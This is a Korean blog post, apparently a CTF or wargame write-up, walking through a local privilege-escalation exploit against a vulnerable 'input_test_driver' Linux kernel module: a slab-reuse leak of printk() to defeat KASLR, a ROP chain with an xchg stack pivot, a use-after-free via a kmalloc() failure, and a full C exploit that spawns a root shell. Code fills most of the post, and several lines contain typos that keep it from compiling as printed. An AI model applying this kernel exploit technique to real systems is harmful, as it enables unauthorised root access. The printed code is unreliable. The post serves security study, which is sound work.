일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | ||||
4 | 5 | 6 | 7 | 8 | 9 | 10 |
11 | 12 | 13 | 14 | 15 | 16 | 17 |
18 | 19 | 20 | 21 | 22 | 23 | 24 |
25 | 26 | 27 | 28 | 29 | 30 | 31 |
- 시그널
- 드론
- 시스템해킹
- kernel
- pwncollege
- 워게임
- 프로그래밍
- 어셈블리어
- css
- 리버싱
- 컴퓨터구조
- 알고리즘
- 리눅스커널
- 시스템 프로그래밍
- 커널
- C언어
- 시스템프로그래밍
- 리눅스
- Leviathan
- Pwnable.kr
- pwn.college
- wargame
- 취약점
- Bandit
- 리눅스 커널
- C++
- px4
- 시스템
- radare2
- write up
- Today
- Total
Computer Security
#26 Input Test Driver 3 본문
Exploit 순서
memory leak --> kernel gadget offset 계산 --> fake stack & ROP 작성 --> UAF bug & kmalloc()logic bug
1.Memory leak
1. ioctl()을 호출해 fp_struct 할당한다.
2. close()를 호출해 fp_struct할당을 해제한다.
3. write()로 fp_struct가 사용하던 슬랩 객체를 할당받은 뒤, 슬랩 페이지에 남아 있는 printk() 주소 직전까지 더미 값(0x0707..)으로 덮는다.
4. ioctl()을 호출해 _fp -> fp_report_ps()를 호출하면 strlen()에 의해 더미 값 뿐만 아니라 printk()주소 까지 evdev에 보고된다.
5. 유저 공간에서 evdev를 통해 printk()주소를 받아올 수 있다.
printk() 주소의 offset 계산을 통해 KASLR우회가 가능하다.
위 과정중 3번째인
write()로 fp_struct가 사용하던 슬랩 객체를 할당받은 뒤, 슬랩 페이지에 남아 있는 printk() 주소 직전까지 더미 값(0x0707..)으로 덮는다. 과정을 자세히 살펴보자.
3번째 단계가 실행 직전 메모리 상태이다.
write() before
... |
printk() address |
report_touch_press() |
report_touch_release() |
write() after
... |
0x07070707070707 |
0x07070707070707 |
0x07070707070707 |
0x07070707070707 |
printk() address |
report_touch_press() |
report_touch_release() |
2. leak한 주소를 이용해서 ROP에 사용할 kernel gadget offset 계산
0xffffffff810eb820 - 0xffffffff810ba629 = 0x311f7
leak한 printk()주소 - xchg 가젯 주소 = offset
3. fake stack & ROP 작성
void setPayload (size_t arr2[]){
uint32_t xchg;
int i ;
xchg = (unit32_t)(result - 0x311f7);
mmap((void *)xchg, 0x1000, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
backup_rv();
*(uint64_t*)xchg = result + 0x3d5f1c;
*(uint64_t*)(xchg+8) = 0;
*(uint64_t*)(xchg+16) = result - 0x3ded0;
*(uint64_t*)(xchg+24) = result + 0x3d5eb6;
*(uint64_t*)(xchg+32) = result - 0x3e280;
*(uint64_t*)(xchg+40) = result - 0x31227;
*(uint64_t*)(xchg+48) = 0;
*(uint64_t*)(xchg+56) = result - 0x81c5c;
*(uint64_t*)(xchg+64) = 0;
*(uint64_t*)(xchg+72) = result - 0x31207;
*(uint64_t*)(xchg+80) = &shell;
*(uint64_t*)(xchg+88) = rv.user_cs;
*(uint64_t*)(xchg+96) = rv.user_rflags;
*(uint64_t*)(xchg+104) = rv.user_rsp;
*(uint64_t*)(xchg+112) = rv.user_ss;
for(i=0; i<50; i++)
arr2[i] =0;
arr2[50] = result - 0x311f7;
arr2[51] = 0;
}
ROP payload 코드이다.
함수 포인터를 덮는 익스의 경우 stack pivoting 작업이 필요하다.
xchg 가젯과 mmap()을 통해 fake stack을 구성한다.
before
rip | 0xffffffff810ba629 <xchg esp,eax> |
rax | 0xffffffff810ba629 <xchg esp,eax> |
rsp | ... |
after
rip | 0xffffffff810ba62a <ret> |
rax | ... |
rsp | 0x810ba629 |
위와 같이 stack pivoting을 할 경우 xchg 가젯의 앞 4바이트 주소로 rsp가 변경이 된다.
즉, mmap()을 이용해 0x810ba629 주소에 ROP payload를 쌓으면 fake stack이 완성된다.
4. UAF bug & kmalloc() logic bug
1.
write()를 호출해 fp_struct 크기인 416byte의 slab object를 할당한다.
2.
다시 한번 write()를 호출해 1번에서 할당 받은 slab object를 할당해제한다.
단, kmalloc()의 size로 들어가게 되는 인자는 큰 정수(0x700001)를 넣어 kmalloc()에서 NULL을 반환하도록 하여 전역 포인터 ptr의 갱신을 우회한다.(dangling pointer 발생)
3.
ioctl()을 호출해 전역 포인터 ptr이 가리키고 있는 해제된 슬랩 객체 부분을 fp_struct가 사용하도록 한다.
4.
write()를 호출해서 dangling pointer인 ptr을 이용해 fp_struct의 함수 포인터 멤버를 xchg 가젯으로 덮은 후, ioctl()을 호출해
해당 함수 포인터를 호출하면 root권한을 획득한다.
5. 최종 완성된 익스플로잇 코드
// gcc - masm - intel -static -o exp exp.c - no - pie
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <stdint.h>
#include <fcntl.h>
#include <unistd.h>
#include <linux/input.h>
#include <sys/time.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/mman.h>
#define SIZE 416
#define FOR_LEAK 392
#define KEY 0x700001
struct register_val {
uint64_t user_rip ;
uint64_t user_cs ;
uint64_t user_rflags ;
uint64_t user_rsp ;
uint64_t user_ss ;
}__attribute__((packed)) ;
struct register_val rv ;
struct input_event ie ;
int evdev, itd, itd2, itd3;
uint64_t result ;
void backup_rv (void) {
asm ( " mov rv+8 , cs; "
" pushf; pop rv+16; "
" mov rv+24 , rsp; "
" nov rv+32 , ss; "
);
}
void shell ( ) {
execl("/bin/sh", "sh", NULL) ;
}
void setPayload (size_t arr2[]){
uint32_t xchg;
int i ;
xchg = (unit32_t)(result - 0x311f7);
mmap((void *)xchg, 0x1000, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
backup_rv();
*(uint64_t*)xchg = result + 0x3d5f1c;
*(uint64_t*)(xchg+8) = 0;
*(uint64_t*)(xchg+16) = result - 0x3ded0;
*(uint64_t*)(xchg+24) = result + 0x3d5eb6;
*(uint64_t*)(xchg+32) = result - 0x3e280;
*(uint64_t*)(xchg+40) = result - 0x31227;
*(uint64_t*)(xchg+48) = 0;
*(uint64_t*)(xchg+56) = result - 0x81c5c;
*(uint64_t*)(xchg+64) = 0;
*(uint64_t*)(xchg+72) = result - 0x31207;
*(uint64_t*)(xchg+80) = &shell;
*(uint64_t*)(xchg+88) = rv.user_cs;
*(uint64_t*)(xchg+96) = rv.user_rflags;
*(uint64_t*)(xchg+104) = rv.user_rsp;
*(uint64_t*)(xchg+112) = rv.user_ss;
for(i=0; i<50; i++)
arr2[i] =0;
arr2[50] = result - 0x311f7;
arr2[51] = 0;
}
void leakGift() {
int i = 0, j = 0, set = 0;
int ret;
char leak[8];
for(i=0; i<50; i++){
sleep(0.1);
ret = read(evdev, &ie, sizeof(struct input_event));
if(ret>0){
perror("error");
break;
}
if(set==1 && ie.type == 3 && ie.code == 0 && j<4){
leak[j] = ie.value;
j++;
}
if(ie.value == 0x7)
set =1;
printf("type: %hu, code: %hu, value: 0x%hhx \n", ie.typem ie.code, ie.value);
}
for(j=4; j<8; j++){
leak[j] = 0xff;
}
memcpy(&result, leak, 8);
}
int main()
{
char arr[FOR_LEAK] = {0, };
size_t arr2[(SIZE/8)] = {0, };
int i;
evdev = open("/dev/input/event2", O_RDONLY);
if(evdev < 0){
perror("event2");
return -1;
}
itd2 = open("/dev/input_test_driver", O_RDWR);
if(itd2 < 0){
perror("input_test_driver_2");
return -1;
}
arr[0] = 1;
arr[1] = 2;
write(itd2, arr, 2);
ioctl(itd2, 0x1337, 0);
close(itd2);
itd = open("/dev/input_test_driver", O_RDWR);
if(itd < 0){
perror("input_test_driver");
return -1;
}
for(i=0; i<FOR_LEAK; i++)
arr[i] = 7;
write(itd, arr, FOR_LEAK);
ioctl(itd, 0x1337, 0);
leakGift();
close(itd);
itd3 = open("/dev/input_test_driver", O_RDWR);
if(itd3 < 0){
perror("input_test_driver_3");
return -1;
}
arr2[0] = 1;
arr2[1] = 2;
write(itd3, arr2, SIZE);
write(itd3, arr2, KEY);
ioctl(itd3, 0x1337, 0);
setPayload(arr2);
write(itd3, arr2, KEY);
ioctl(itd3, 0x1337, 0);
close(evdev);
close(itd3);
return 0;
}
6. ./start.sh 를 하면 url로 익스플로잇을 업로드하라 나온다. MediaFire을 이용해 익스플로잇을 업로드 후 실행해보자.
익스플로잇을 실행하면 LPE가 터지고 root권한을 획득한다.
획득한 root권한을 이용해 플래그를 알 수 있었다.
마치며,
정말 나에겐 너무 어려운 문제였고,
지금까지 리눅스 커널 시스템해킹을 포스팅 했는데, 리눅스쪽 지식이 전무하고 시스템해킹쪽에도 깊지않다보니 너무 힘들었던 것 같다.
이 기회에 시스템 해킹 쪽과 리눅스커널 쪽 지식을 다시 돌아보는 시간을 가지고 다시 한번 복습 해봐야 할 것 같다.
'리눅스 커널 해킹' 카테고리의 다른 글
#26 Input Test Driver 2 (0) | 2022.09.04 |
---|---|
#26 Input Test Driver 1 (0) | 2022.09.03 |
#25 Double Fetch (0) | 2022.09.02 |
#24 Arbitrary Write 2 (0) | 2022.09.01 |
#23 Arbitrary Write 1 (0) | 2022.08.31 |